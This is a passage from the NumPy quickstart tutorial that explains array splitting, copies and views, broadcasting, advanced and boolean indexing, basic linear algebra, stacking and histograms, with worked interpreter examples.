argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy histogram function applied to an array returns a pair of vectors: the histogram of the array and a vector of the bin edges. Beware: matplotlib also has a function to build histograms (called hist, as in Matlab) that differs from the one in NumPy. The main difference is that pylab.hist plots the histogram automatically, while numpy.histogram only generates the data. >>> import numpy as np rg = np.random.default_rng(1) import matplotlib.pyplot as plt # Build a vector of 10000 normal deviates with variance 0.5^2 and mean 2 mu, sigma = 2, 0.5 v = rg.normal(mu,sigma,10000) # Plot a normalized histogram with 50 bins plt.hist(v, bins=50, density=1) # matplotlib version (plot) # Compute the histogram with numpy and then plot it (n, bins) = np.histogram(v, bins=50, density=True) # NumPy version (no plot) plt.plot(.5*(bins[1:]+bins[:-1]), n) ../_images/quickstart-2.png Further reading The Python tutorial NumPy Reference SciPy Tutorial SciPy Lecture Notes A matlab, R, IDL, NumPy/SciPy dictionary © Copyright 2008-2020, The SciPy community. Last updated on Jun 29, 2020. Created using Sphinx 2.4.4.
